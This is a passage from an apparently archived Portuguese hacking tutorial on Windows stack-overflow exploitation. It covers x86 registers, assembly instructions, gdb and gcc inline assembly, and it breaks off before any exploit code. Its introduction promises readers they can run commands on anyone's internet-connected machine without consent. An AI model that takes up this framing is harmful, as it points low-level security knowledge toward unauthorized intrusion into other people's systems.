[Portuguese] Explorando Stack Overflow no Windows

EDB-ID:

12925

CVE:

N/A


Platform:

Multiple

Published:

2009-05-08

                       ============================================            
                       =========== CORPORACAO VIBORA ==============           
                                2006-2008 A.C.H.U.B                   
                           A Cena Hacker Underground Brasileira.            
                       ============================================            
       

       char *titulo[]={
            
       "[=] + =========================[####]========================== + [=]\n",
       "     *** ----=[ Explorando Stack Overflow no Windows ]=---- ***  \n",
       "     *** ----=[  PARTE 1 - Entendendo o stack frame  ]=----      \n",         
       "[=] + =========================[####]========================= + [=]\n\n"};
     
            
"O verdadeiro ator e aquele que nao conhece a si proprio..."
                                       -- 6_Bl4ck9_f0x6


Author  : 6_Bl4ck9_f0x6
A.k.a   : David Diego Dennys F. Siqueira.
e-mail  : b-fox [at] bol [dot] com [dot] br
Milw0rm : http://www.milw0rm.com/author/1863/


About this text:

I wrote this text for to expand knowledge for new  hackers from Brazil and 
of the all world. I hope you like and if you want send me some mails. This  
text also was written as  protest because  exist  many 'White Hats' in the
Brazil and they don't want  to  teach  nothing, to write friend, prove you 
aren't died and to write! I didn't see nothing of good in the texts of the 
brazilians, then this text was  writed. Thank's for to read. Enjoy of this 
text my friend and spit on face of this  stupids white hats. Fuck Security
industry, fuck full disclosure. Good reading...



              [0x01] -  Introducao                      - [0x01]
              [0x02] -  Pre-requisitos                  - [0x02]
              [0x03] -  Um pouco sobre Registers        - [0x03]
              [0x04] -  Instructions set                - [0x04] 
              [0x05] -  GNU debugger - gdb              - [0x05]
              [0x06] -  gcc in-line                     - [0x06]
              [0x07] -  Modos de enderecamento          - [0x07]
              [0x08] -  Funcionamento basico da stack   - [0x08]
              [0x09] -  O stack frame                   - [0x09]
              [0x0A] -  Como acontece o stack overflow  - [0x0A]
              [0x0B] -  Seu primeiro exploit (local)    - [0x0B]
              [0x0C] -  Exploracao remota               - [0x0C]       
              [0x0E] -  Consideracoes finais            - [0x0E]



----- Capitulo 0x01


[=] + =========================================== + [=]
            -----=[  Introducao ]=----- 
[=] + =========================================== + [=]


Com este texto pretendo abordar o funcionamento do stack  frame sobre arquitetura x86 (w32) 
e pretendo mostrar tecnicas de exploracao  do mesmo  tanto local, como remota. Aqui, todo o  
processo sera demonstrado passo a passo, pois todos sabemos a carencia que o  Brasil tem de 
textos em portugues que descrevam tal tecnica "para windows" e  em  uma  linguagem de facil 
"entendimento" para nossos jovens  hackers, que levarao  nossa linhagem  especial  adiante; 
Neste paper voce conhecera o stack frame e tambem sabera como manipula-lo  para faze-lo re-
tornar a um endereco de memoria especifico. No  proximo texto  demonstrarei  manipulacao de 
shellcodes para a exploracao de stack overflows no windows. Tambem escrevi este texto com o 
intuito de aumentar o  arsenal  do milw0rm e  para elevar o prestigio de meu pais aos olhos 
de nossos irmaos hackers do mundo que acessam diariamente o milw0rm, porque  todos  sabemos 
que no Brasil existe uma falta muito grande de  profissionais de qualidade na area  de SI - 
Seguranca da Informacao, e  como se  nao bastasse  o nome do hacking  Brasileiro esta sendo 
sujo a cada dia por alguns Sk's - Script kiddies que a unica coisa que fazem e usar trojans 
escritos por terceiros e fazer deface por php em sites nunca antes vistos por eles, que por 
sinal sao  muito mau  administrados  pelo  outro  lado da corja, os falsos profissionais de  
seguranca (Nao "hackers"). Gostaria  de fazer um pedido a esses seres imprestaveis:  

"Parem de sujar nosso nome." 

A "verdadeira" cena hacker do Brasil agradece. Tambem gostaria de dedicar  mais esse texto  
ao str0ke, por estar sempre disposto a abrir portas para a  divulgacao de meu trabalho, ao 
'Edu' que  brevemente fara o que pedi com relacao a area Brasil do blackhat-forums.com ;), 
F3rGO, Dark_Side, blackwinner, e a todas as mulheres do mundo, pois sem elas  nossas vidas 
masculinas totalmente inuteis nao teria sentido  algum. Com o conhecimento  que  aqui sera 
descrito voce aprendera a  executar  comandos em  qualquer computador do mundo,  que esti-
ver conectado a internet, sem o concentimento do proprietario da maquina,  bastando explo-
rar  aplicacoes inseguras  em execucao nas maquinas que serao invadidas, literalmente, por 
"nos", hackers de sangue puro.



----- Capitulo 0x02


[=] + =========================================== + [=]
           -----=[  Pre-requisitos ]=----- 
[=] + =========================================== + [=]



Como neste texto pretendo abordar passo a passo o processo de exploracao, entao nao se faz 
"necessario" que va procurar  informacoes sobre a  linguagem assembly em  outro texto para
comecar a "entender" como explorar falhas de stack overflow, pois  toda a base se encontra 
neste documento. E claro que voce precisara ter um bom entendimento de assembly para poder 
desenvolver shellcodes, mas por hora a unica coisa  que voce precisara e deste  documento. 
Ao termino da leitura deste .txt  recomendo  que procure algum  curso de assembly para uma 
melhor compreensao do que sera demonstrado aqui, os mecanismos de buscas  atuais sao exce-
lentes. O 'real' pre-requisito (Mais que previsivel), sera que o leitor  tenha conhecimen-
tos intermediarios da linguagem C[1], para uma "melhor" compreensao deste  texto. Entendi-
mento de enderecos de memoria e da base de enderecamento hexadecimal[2] tambem  se faz ne-
cessario. As ferramentas necessarias/utilizadas aqui serao o gcc e o gdb. Para obter essas 
ferramentas voce apenas precisa baixar o DEV-C++. Este e sem duvida nenhuma um  dos melho-
res IDE's do mundo e pode ser encontrado em http://www.bloodshed.net . Os  binarios neces-
sarios se encontram no  diretorio '\Dev-Cpp\bin', voce  podera inserir uma entrada estati-
ca no PATH do sistema para encontrar este diretorio com o comando PATH=%PATH%;\Dev-Cpp\bin  
inserido em \autoexec.bat .



----- Capitulo 0x03


[=] + =========================================== + [=]
       -----=[  Um pouco sobre Registers  ]=----- 
[=] + =========================================== + [=]

 
Podemos "comparar" um registrador a uma variavel, no qual armazenam  valores diversos. Na
linguagem de programacao assembly existem os registradores de "uso geral" (no  qual podem 
armazenar qualquer valor/dados) e os registradores especiais. Nem todos os  registradores 
podem ser usados para armazenar valores inseridos por nos diretamente, como o registrador 
eip (incluido na classe dos registradores especiais). Cada registrador  possue uma deter-
minada funcao, nos *nixes os registradores de uso geral alem de poderem ser usados para o
armazenamento  de qualquer tipo de dado, possuem funcoes exclusivas  na execucao  de  uma 
syscall por exemplo, como  o  "armazenamento" de valores de retorno das mesmas (eax) caso 
retornem algo, e seus respectivos  argumentos (ebx, ecx, edx, esi e edi respectivamente). 
Veja os registradores de uso geral.



+=====+
| AX  |   Accumulator (Registrador Acumulador)  
+-----+
| BX  |   Base        (Registrador de base )
+-----+ 
| CX  |   Counter     (Registrador Contador)
+-----+
| DX  |   Data        (Registrador de dados)
+=====+


Antes dos processadores 80386 esses registradores eram de 16 bits ( [short] 2 bytes), nos
processadores atuais eles possuem 32 bits ( [long] 4 bytes). Esses registradores sao com-
postos por uma parte alta ('H'igh) e baixa ('L'ow). Nesse caso cada parte  equivale a '8' 
bits. Para uma melhor compreensao por parte do leitor sugiro que abram o debugador nativo 
do windows XP SP1 ou SP2 e outras versoes, me refiro ao propriamente dito: debug.


Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>debug
-r
AX=0000  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0100   NV UP EI PL NZ NA PO NC
0D3C:0100 288107CF      SUB     [BX+DI+CF07],AL                    DS:CF07=00
-q


O comando 'r' e utilizado para visualizar os valores dos registradores. Note que apesar de
estar em um x86, esses registradores equivalem a 16 bits. Isso se deve ao fato de eu estar
em uma ferramenta ambientada para o antigo MS-DOS, portanto a mesma  continua com seus pa-
droes. Veja o registrador acumulador dividido em sua parte alta e baixa:


AX   =       00             00 
       (High <- Alta)  (Low <- Baixa)


No capitulo  "Instructions Set" veremos como manipular apenas determinas partes de um re-
gistrador. Como disse anteriormente, nos processadores atuais esses registradores equiva-
lem a  32 bits, e para haver uma diferenciacao por parte dos programadores existe uma no-
tacao que e utilizada para referenciar esses registers. Um 'E' de Extended. Que em portu-
gues significa 'E'stendido. Isso referencia os registradores de 32 bits dos x86 .


==========================
Registradores de uso geral
==========================


+=====+
| EAX |   Extended Accumulator   -> Registrador Acumulador Extendido   
+-----+
| EBX |   Extended Base          -> Registrador de Base Extendido
+-----+ 
| ECX |   Extended Counter       -> Registrador Contador Extendido
+-----+
| EDX |   Extended Data          -> Rigistrador de Dados Extendido
+=====+


Uma representacao ideal para esse registrador em sua parte alta e baixa seria essa:


EAX     =       0000            0000      
           (High <- Alta)  (Low <- Baixa)


Nesse caso cada lado deste registrador e de 16 bits. Somando assim 32 bits (4 bytes).
Acredito que todos saibam que 8 bits equivalem a 1 byte. Veremos  agora  os registra-
dores especiais, os que se  referem ao  stack frame (Descrito "adiante"). Nao citarei
os registradores de segmento.


==========================
 Registradores especiais
==========================


+=====+
| eip |   Instruction pointer   -> Ponteiro de instrucao extendido
+-----+ 
| ebp |   Base pointer          -> Ponteiro de base extendido
+-----+
| esp |   Stack pointer         -> Ponteiro de pilha extendido
+-----+


Esses sao apenas alguns dos registradores especiais (Termo para referenciar os registers
que nao sao de uso geral). O eip aponta para o endereco de memoria da  proxima instrucao 
a ser  executada, o ebp aponta para a base do stack e o esp aponta sempre para o topo da 
stack/pilha. No decorrer do texto voce ficara mais familiarizado com os mesmos.


----- Capitulo 0x04


[=] + =========================================== + [=]
       -----=[  Instructions set  ]=----- 
[=] + =========================================== + [=]


Instruction set, ou "conjunto de instrucoes", sao as instrucoes que utilizarao os regis-
tradores. Essas instrucoes que sao responsaveis pela copia  de um dado  qualquer para um 
registrador ou dados de um registrador para  o outro, por  exemplo. Demonstrarei  apenas 
algumas instrucoes, ou seja, apenas as que precisaremos para um  "entendimento"  do tema  
abordado neste documento. As instrucoes aceitas por um micro-processador ja sao determi-
nadas de fabrica e voce podera ver as mesmas no site do fabricante (em instruction set).
Veja o instruction set da familia x86 em www.x86.org . No momento apenas se faz necessa-
rio o entendimento das descritas abaixo. Vamos usar mais uma vez o debug do windows, que
sera excelente para um bom entendimento. Usaremos o comando 'a' (assemble) para  iniciar 
o processo de marcacao de instrucoes para uma posterior execucao. 


C:\Documents and Settings\David>debug
-a
0D3C:0100


Como voce pode ver, comecaremos a setar nossas instrucoes a partir do endereco 0100, en-
dereco esse que e o reservado como endereco inicial para um  programa MS-DOS de 16 bits. 
A primeira instrucao vista por nos sera a 'MOV', que movimenta (copia) dados. Vamos a um 
exemplo pratico.


--=[ MOV ]=--


(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>debug
-a
0D3C:0100 MOV AX,10       ; Copia o numero 10 para a parte baixa de AX (AL)
0D3C:0103 MOV AX,1515     ; Copia 1515 para a parte alta e baixa de AX (15 15).
0D3C:0106 MOV BX,AX       ; Copia AX (1515) para BX (BX = 1515)
0D3C:0108                 ; [Enter]
(...)


Veja os comentarios a sua direita. Bem aqui uma  ressalva deve ser feita. A sintaxe[4]
utilizada acima, foi a INTEL, esta  sintaxe  determina que a origem sempre sera o dado 
da direita, e o destino de tal dado e o registrador da esquerda. A sintaxe AT&T, que e
a utilizada nos *nixes, determina o  oposto, ou seja, na  sintaxe  'AT&T' a origem e o 
valor da esquerda, e o destino e o registrador da direita. O comando -T executa nossas 
instrucoes passao a passo (Step over).


0D3C:0100 MOV AX,10       
(...)
0D3C:0108                 ; [Enter]

-T    
AX=0010  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0103   NV UP EI PL NZ NA PO NC
0D3C:0103 B81515        MOV     AX,1515


Veja que logo apos a execucao de nossa primeira instrucao, armazenada no endereco de 
memoria 0100, o registrador AX agora possui o valor 10 em sua parte baixa. Repare a-
gora no registrador IP. Veja que ele aponta para a proxima instrucao  a ser executa-
ta, ou seja, a intrucao armazenada no endereco 0103 que e a MOV AX,1515 . Teclamos o
comando 'T' mais uma vez e vemos o seguinte resultado: 


-T

AX=1515  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0106   NV UP EI PL NZ NA PO NC
0D3C:0106 89C3          MOV     BX,AX


Veja que AX agora possui o valor 1515 e o intruction pointer (IP) esta apontando para
o endereco 0106, que e o endereco da proxima instrucao a ser executada (MOV BX,AX).


-T

AX=1515  BX=1515  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0108   NV UP EI PL NZ NA PO NC
0D3C:0108 2911          SUB     [BX+DI],DX                         DS:1515=2020
-Q

C:\DOCUME~1\David>


Veja que BX agora possui o mesmo valor de AX, ou seja, houve uma copia de dados. O 
comando 'Q' (Quit) sai do debug. Ainda podemos manipular somente partes  baixas ou  
altas dos registradores bastando especificarmos o H ou L. Exemplo: MOV AH, 10 .


--=[ CALL e NOP ]=--

A instrucao call (chamar) basicamente faz uma chamada a um endereco de memoria. Veja:


(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>debug
-a

0D3C   :  0100 NOP          ; No operation. Instrucao de 1 byte
0D3C   :  0101 NOP
0D3C   :  0102 CALL 0100    ; Chama o endereco 0100
0D3C   :  0105

Seg:     [offset]


Repare que a instrucao NOP (No operation) ou nenhuma operacao, equivale a 1 byte, pois
ela se incia no endereco 0100 e o proximo endereco e o 0101. A instrucao  'NOP' (\x90) 
nao faz nada, quando o processador encontra essa instrucao ele imediatamente pula para
a proxima instrucao. No offset '0102' do segmento de dados (DS = 0D3C)  especifiquei a 
instrucao call seguida do endereco no qual quero "chamar". Quando executamos a instru-
cao call o fluxo do programa imediatamente segue para o  endereco chamado. A instrucao 
call chama o endereco e as instrucoes que se encontram no endereco chamado  sao execu-
tadas. No capitulo "Funcionamento basico da stack", veremos mais sobre essa instrucao.
Podemos utilizar instrucoes que movimentam dados especificos, como movl, que movimenta
um long, ou seja, os 4 bytes de um registrador extendido, e movb que movimenta um byte.
Veja mais algumas instrucoes frequentemente usadas para desenvolvimento de shellcodes.


--=[ INC ]=---


Incrementa em 1 o valor de um registrador. 

Sintaxe:

0D3C:0100 INC AX

Logo apos essa intrucao AX (registrador de 16 bits) sera representado dessa forma:

AX=0001

Podemos incrementar tambem apenas lados especificos de cada registrador. Veja mais
exemplos de operacoes manipuladoras de lados altos e baixos:


C:\DOCUME~1\David>debug
-a
0D3C:0100 INC AH
0D3C:0102 INC AL
0D3C:0104          <--- [ENTER]
-t

AX=0100  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0102   NV UP EI PL NZ NA PO NC
0D3C:0102 FEC0          INC     AL
-t

AX=0101  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0104   NV UP EI PL NZ NA PO NC
0D3C:0104 2882073C      SUB     [BP+SI+3C07],AL                    SS:3C07=00
-q


--=[ DEC ]=---


A instrucao DEC faz o oposto da instrucao INC. Esta instrucao DECrementa o valor de um
registrador em 1. 

Sintaxe(s):

1 - 0D3C:0100 DEC AX
2 - 0D3C:0100 DEC AH
3 - 0D3C:0100 DEC AL


--=[ ADD ]=--


Essa instrucao "soma" os dados de origem com os dados de detino e o resultado e arma-
zenado no destino.


Exemplo:

-a
0D3C:0100 MOV AX,10        ;   <--- Copia 10 para AX
0D3C:0103 MOV BX,10        ;   <--- Copia 10 para BX
0D3C:0106 ADD AX,BX        ;   <--- Soma AX + BX 
0D3C:0108 


Veja que copio o valor 10 para AX e para BX, depois somo os valores armazenados em ambos 
registradores e o resultado sera armazenado no registrador de destino, AX, pois estou u-
tilizando a sintaxe INTEL. Entao, apos todas  as instrucoes serem  executadas o valor de 
AX sera 20.

(...)

-t

AX=0020  BX=0010  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=010A   NV UP EI PL NZ NA PO NC
0D3C:010A 253120        AND     AX,2031
-q

Repare aqui: AX=0020 


--=[ SUB ]=--


A instrucao sub "SUBtrai" dois valores e armazena o resultado no registrador de destino.

Exemplo:

-A
0D3C:0100 MOV AX,F
0D3C:0103 SUB AX,1
0D3C:0106
-t

AX=000F  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0103   NV UP EI PL NZ NA PO NC
0D3C:0103 2D0100        SUB     AX,0001
-t

AX=000E  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0106   NV UP EI PL NZ NA PO NC
0D3C:0106 07            POP     ES
-q


Repare que o registrador AX depois da  subtracao de 1, equivale a E. Lembre-se que
registradores trabalham com a base hexadecimal[2], portanto  um conhecimento sobre 
a mesma e mais que necessario.
 

--=[ JMP ]=--


Essa instrucao salta (JuMP) para um determinado endereco de memoria, fazendo com que 
o fluxo do programa seja desviado para esse endereco. 


C:\Documents and Settings\David>debug
-a
0D3C:0100 MOV DL,1         ;  Move 1 para DL
0D3C:0102 INC DL           ;  Incrementa DL em 1
0D3C:0104 JMP 0100         ;  Salta para o endereco inicial
0D3C:0106

Nesse exemplo acima, todas as vezes que o fluxo de dados chegar ao endereco 
0104, ele saltara para o endereco inicial que continuara a executar as ins-
trucoes anteriores ao salto, ou seja, 'DL' nao pararia de ser incrementado, 
mas devido a rotina, ele nao passaria do valor 2, pois a primeira instrucao 
sobrescreve o valor anterior.


=================
Intrucoes logicas
=================


Na linguagem binaria 1 e 0 significam verdadeiro e falso respectivamente. As instrucoes
descritas a seguir comparam dois valores e retornam  um valor  verdadeiro ou falso, e o 
registrador de destino (sintaxe INTEL) que recebera os dados retornados. 


--=[ AND ]=--


Essa intrucao compara dois valores e retorna um valor verdadeiro se as duas instrucoes 
tambem forem verdadeiras. 

AND 1 1 = 1
AND 0 1 = 0
AND 1 0 = 0
AND 0 0 = 0


--=[ OR ]=--


A instrucao OR (ou) por sua vez requer que apenas um dos valores seja verdadeiros, 
para tambem retornar um valor positivo. Veja:

OR 1 1 = 1
OR 1 0 = 1
OR 0 1 = 1
OR 0 0 = 0


--=[ XOR ]=--


Essa instrucao e quase igual ao OR, ela faz a comparacao de dois valores e apenas 
retorna um valor verdadeiro quando um deles ("apenas um") for tambem  verdadeiro. 
Repito: Apenas um dos dois valores comparados deve ser '1 '(verdadeiro) para essa 
instrucao retornar um valor verdadeiro.


C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV AX,1     ; Move 1 para AX
0D3C:0103 XOR AX,1     ; 1, 1 = 0
0D3C:0106
-t

AX=0001  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0103   NV UP EI PL NZ NA PO NC
0D3C:0103 350100        XOR     AX,0001

Repare que o valor 1 foi copiado para AX, abaixo segue a instrucao que compara
os valores referentes.

-t

AX=0000  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=0D3C  ES=0D3C  SS=0D3C  CS=0D3C  IP=0106   NV UP EI PL ZR NA PE NC
0D3C:0106 07            POP     ES
-q

C:\DOCUME~1\David>


Veja que o resultado foi falso, porque "apenas um" dos registradores tem que armazenar
o valor 1 e nesse caso os dois valores envolvidos no teste eram 1, assim sobrescreven-
do o valor que tinha sido previamente armazenado em AX ('1'), com o  valor "retornado" 
pela operacao XOR (0). 

XOR 1 1 = 0
XOR 1 0 = 1
XOR 0 1 = 1
XOR 0 0 = 0



----- Capitulo 0x05


[=] + =========================================== + [=]
          ---=[  GNU debugger - gdb ]=--- 
[=] + =========================================== + [=]


O GDB e um debugger nativo dos *nixes/Linuxes, mas foi portado para arquitetura w32.
Como o proprio nome ja dos diz, um  debugger nada mais e do  que o  programa que nos 
mostrara os codigos internos de   outro  programa (por exemplo) em  assembly. Recur-
so esse que e muito util para  sabermos o que o programa faz no nosso sistema quando
seu codigo fonte nao e divulgado e para o descobrimento de bugs em nossos programas.
Com um  debugger podemos  ver  os "enderecos" de memoria utilizados pelos programas, 
suas bibliotecas, e tambem podemos modificar suas instrucoes  internas. Se escrever-
mos um programa usando a linguagem assembly, as instrucoes deste  mesmo programa se-
rao vistas em  assembly no debugger, ou seja, na linguagem  que escrevemos. Veja al-
gumas opcoes que nos serao muito uteis  para o completo  entendimento da  stack e um 
"entendimento" maior sobre o desenvolvimento de shellcodes tanto para windows quanto 
para *nixes/Linuxes. 



-q             -->  Esta opcao (Quiet) na chamada do programa nao emite banner do gdb.

break          -->  Esta opcao seta um breakpoint, que nada mais e do que definir onde 
                    o programa sera "pausado" quando iniciarmos o mesmo ("run").  Cada 
                    break point recebe um numero de identificacao.

disassemble    -->  Esta e a opcao que nos mostra o codigo em assembly propriamente di-
                    to, ou seja, seguido de um frame, ela e capaz de nos  mostrar todas
                    as instrucoes daquele frame.

run           -->  Esta opcao que sera utilizada para iniciar a execucao  do programa
                   dentro do debugger. Esta opcao pode ou  nao receber argumentos.

list          -->  Nos mostra os symbols armazenados na tabela de exportacao de symbols 
                   de um programa. 

info          -->  Usado para visualizarmos determinadas informacoes. Dentre elas po-
                   podemos ressaltar: 

                   register (registrador) -> Exibe valores de registradores.
                   breakpoints            -> Exibe os breakpoints setados. 
                    
                   Para maiores informacoes  digite o comando  'info' no gdb, que lhe  
                   sera mostrado varias opcoes.

del           -->  Remove um breakpoint especificado por um numero. Se este numero for
                   omitido, todos os breakpoints serao deletados.

file          -->  Carrega a tabela de symbols de um determinado programa. 

continue      -->  Continua a execucao do programa depois de uma parada (breakpoint).  

x/            -->  Com esta opcao definimos alguns metodos uteis de visualizacao de 
                   dados do programa. Tais como:

                   s   -->  Exibe a string ("texto") armazenada em um endereco.
                   x   -->  Exibe os dados em hexadecimal. 
                   i   -->  Exibe a instrucao em  assembly contida no endereco. 
                   b   -->  Um unico byte (opcode). 


----- Capitulo 0x06


[=] + =========================================== + [=]
            -----=[  gcc in-line ]=----- 
[=] + =========================================== + [=]


Com o gcc existe a possibilidade de insercao de instrucoes em assembly em codigos 'C',
utilizando o recurso __asm ();, essa instrucao determina a inicializacao de instrucoes 
assembly. Com a  utilizacao do gcc "in-line"  podemos  criar  rotinas para execucao de     
shellcodes (citado adiante) utilizando assembly, entre varias outras  boas utilidades. 
Este capitulo sera destinado a lhe dar uma melhor "firmacao" dos conhecimento descrito 
neste paper. As sintaxes utilizadas abaixo serao detalhadamente  descritas no decorrer 
deste documento, portanto encare este capitulo apenas  como uma  "previa apresentacao" 
do que foi e do que lhe  sera ensinado, pois a intencao deste  texto e firmar o conhe-
cimento em hacking na sua mente, nao dar exemplos vagos. Veja  alguns exemplos de sin-
taxes do gcc in-line:


Exemplo I


 main (){                           
                                                                 
  __asm (" NOP;NOP;NOP \n");          
                                                              
 }                                    
     
                                       
Exemplo II 

    
 main (){                 
       
  __asm (                   
      
  "NOP \n"                
  "NOP   "); 
}            


======================
Entendendo os Symbols
======================


Resumidamente, o recurso  de symbols nada mais  e do que um  recurso  que salva em tempo 
de compilacao, em uma tabela, as instrucoes nativas (Codigo fonte) de um programa, nesse 
caso, escrito em C. Quando  um programa e compilado voce pode decidir se deseja exportar 
symbols (Simbolos), ou nao. No processo de compilacao[5] de um programa, os codigos  sao 
pre-processados e convertidos em assembly, depois  seguem para mais processos, assim fa-
zendo com que todas as linhas de codigo nativas, como variaveis e  rotinas, que estao no 
formato escrito por voce, sejam  perdidas. Assim seria impossivel de debuga-lo  usando o 
gdb. Para compilar um programa com suporte a depuracao, basta usar a opcao -g do gcc.


-- testing.c -- 

#include <stdio.h>

main (){
     
 puts ("This is a test");
     
}

-- cut here -- 



C:\>gcc testing.c -o test -g

C:\>gdb test -q
(gdb) list
1       #include <stdio.h>
2
3       main (){
4
5        puts ("This is a test");
6
7       }
(gdb) q


Se nao compilarmos habilitando o suporte a debugging ao executavel, o resultado sera
este apresentado abaixo.


C:\>gcc testing.c -o test

C:\>gdb test -q
(no debugging symbols found)...(gdb)
(gdb) q

C:\>


Um detalhe segue: Quando voce compila um programa utilizando o Dev-C++ o gcc usa a 
opcao -g por padrao (Underground blood).


====================================
Movimentacao de dados em gcc in-line
====================================


-- inline.c --

main (){

__asm (

"MOV  $0xA, %ebx \n" 
"MOVL %ebx, %eax \n" );

}

-- cut here -- 


Agora vamos "disassemblar" esse programa para vermos o estado do registrador eax. 
Primeiramente inicializo o gdb sem a emissao do banner do programa (-q) para logo
depois visualizar os symbols do programa a ser debugado, ou seja, o seu codigo. 



C:\Documents and Settings\David\Desktop>gdb inline.exe -q
(gdb) list
1       main (){
2
3       __asm (
4
5       "MOV  $0xA, %ebx \n"
6       "MOVL %ebx, %eax \n" );
7
8       }
9

Vamos agora usar o comando disassemble (abreviado para disass) seguido  da parte do
codigo que desejamos visualizar as instrucoes, ou seja, a parte do codigo que quero 
ver "disassemblada". Repare que  utilizo um "symbol" para referencia-la. Nesse caso 
desejo ver as instrucoes a partir do entry point (ponto de  entrada), main. O Entry 
point e o nome que se da ao local onde se iniciam os codigos. 


(gdb) disass main
Dump of assembler code for function main:
0x401290 <main>:        push   %ebp
0x401291 <main+1>:      mov    %esp,%ebp
0x401293 <main+3>:      sub    $0x8,%esp
0x401296 <main+6>:      and    $0xfffffff0,%esp
0x401299 <main+9>:      mov    $0x0,%eax
0x40129e <main+14>:     add    $0xf,%eax
0x4012a1 <main+17>:     add    $0xf,%eax
0x4012a4 <main+20>:     shr    $0x4,%eax
0x4012a7 <main+23>:     shl    $0x4,%eax
0x4012aa <main+26>:     mov    %eax,0xfffffffc(%ebp)
0x4012ad <main+29>:     mov    0xfffffffc(%ebp),%eax
0x4012b0 <main+32>:     call   0x401710 <_alloca>
0x4012b5 <main+37>:     call   0x4013b0 <__main>
0x4012ba <main+42>:     mov    $0xa,%ebx
0x4012bf <main+47>:     mov    %ebx,%eax
0x4012c1 <main+49>:     leave
0x4012c2 <main+50>:     ret
End of assembler dump.


Eu poderia disassemblar qualquer symbol. Repare tambem que e  "possivel" abreviar as 
intrucoes do gdb, info poderia ser apenas 'i', register poderia ser apenas 'r' e run 
poderia ser tambem apenas 'r'. Veja que as instrucoes escritas por nos se iniciam no
endereco de memoria da instrucao 'main+42', ou seja, a partir do endereco 0x4012ba .  
E nessa instrucao ('42') de main que ha uma copia do valor em hexadecimal 'A' para o 
registrador ebx. O intuito aqui e visualizar o valor armazenado no  registrador eax, 
e aprender mais sobre o gdb, portanto marcaremos um  breakpoint na instrucao main+49 
que e a instrucao seguinte a  operacao de copia, assim  poderemos ver o resultado da 
operacao anterior.


(gdb) break *main+49
Breakpoint 1 at 0x4012c1: file C:/Documents and Settings/David/Desktop/inline.c, line 8.


Marcamos o ponto de parada do programa apos sua execucao (comando run) dentro do de-
bugger. Vamos ver informacoes sobre esse ponto de parada.


(gdb) i breakpoints
Num Type           Disp Enb Address    What
1   breakpoint     keep y   0x004012c1 in main
                                       at C:/Documents and Settings/David/Desktop/inline.c:8
        breakpoint already hit 1 time


Acima podemos ver em que funcao o breakpoint esta setado, o endereco de memoria que esse 
breakpoint esta setado, o numero de identificacao  deste  breakpoint  caso nos quisermos 
remove-lo (del 1), entre outras informacoes. Vamos iniciar a execucao do programa.


(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/inline.exe

Breakpoint 1, main () at C:/Documents and Settings/David/Desktop/inline.c:8
8       }


O programa parou no breakpoint, vamos ver agora o valor de 'eax' e do registrador que
aponta para a proxima instrucao a ser executada, o extended instruction pointer (eip).


(gdb) i r eax eip
eax            0xa      10        
eip            0x4012c1 0x4012c1


Veja que nos e mostrado em hexadecimal (0xa) e em decimal (10) o valor contido no re-
gistrador eax. Veja que o eip esta apontando para o endereco  0x4012c1, vamos ver que 
instrucao sera executada quando eu continuar a execucao do programa dentro do gdb.


(gdb) x/i $eip
0x4012c1 <main+49>:     leave


Veja que utilizo o cifrao ('$')  para referenciar o registrador. Tambem veja que u-
tilizo o parametro 'i' (instrucion) do x/ para visualizar  a instrucao  em assembly  
armazenada no endereco que o registrador eip  aponta. Continuaremos  a  execucao do 
programa apos a parada e sairemos do gdb.


(gdb) continue
Continuing.

Program exited with code 012.
(gdb) quit



----- Capitulo 0x07


[=] + =========================================== + [=]
      -----=[  Modos de enderecamento ]=----- 
[=] + =========================================== + [=]


Os modos de enderecamento sao os que vao determinar como os dados serao enderecados 
pelo processador. Cada  instrucao em assembly e convertida no que costumamos chamar 
de opcode (Operation code - Codigo de operacao), que e a intrucao que o processador 
"realmente executa", instrucoes em  assembly  nada mais sao  do que "representacoes 
legiveis" a essas  intrucoes. Quando  compilamos  a instrucao  'NOP' por exemplo, o 
processador converte esta "representacao" no  seu  respectivo opcode. O  opcode que 
representa essa instrucao e o '90', e esta instrucao em  hexadecimal (opcode) que o 
processador realmente executa. Os  instructions set sao  convertidos em  instrucoes  
hexadecimais, pelo processador, que fara um enderecamento de  acordo com as instru-
coes em assembly utilizadas. Basicamente existe '6' tipos de modos de enderecamento, 
que sao:


1 - Register Addressing     [Enderecamento registrador      ]
2 - Immediate Addressing    [Enderecamento imediato         ]
3 - Direct Addressing       [Enderecamento direto           ]
4 - Indirect Addressing     [Enderecamento indireto         ]
5 - Basepointer Addressing  [Enderecamento de ponteiro base ]
6 - Indexed Addressing      [Enderecamento indexado         ] 


*********************************
*Register Addressing Mode - RAM *     
*********************************


O modo de enderecamento registrador e composto basicamente por  uma copia de dados
de um registrador para o outro, veja um exemplo:


-- example.c -- 
                             
/*
*
*  ---=[ Sintaxe AT&T]=--- 
* 
*   source -> destination
*
*/

main (){

__asm (

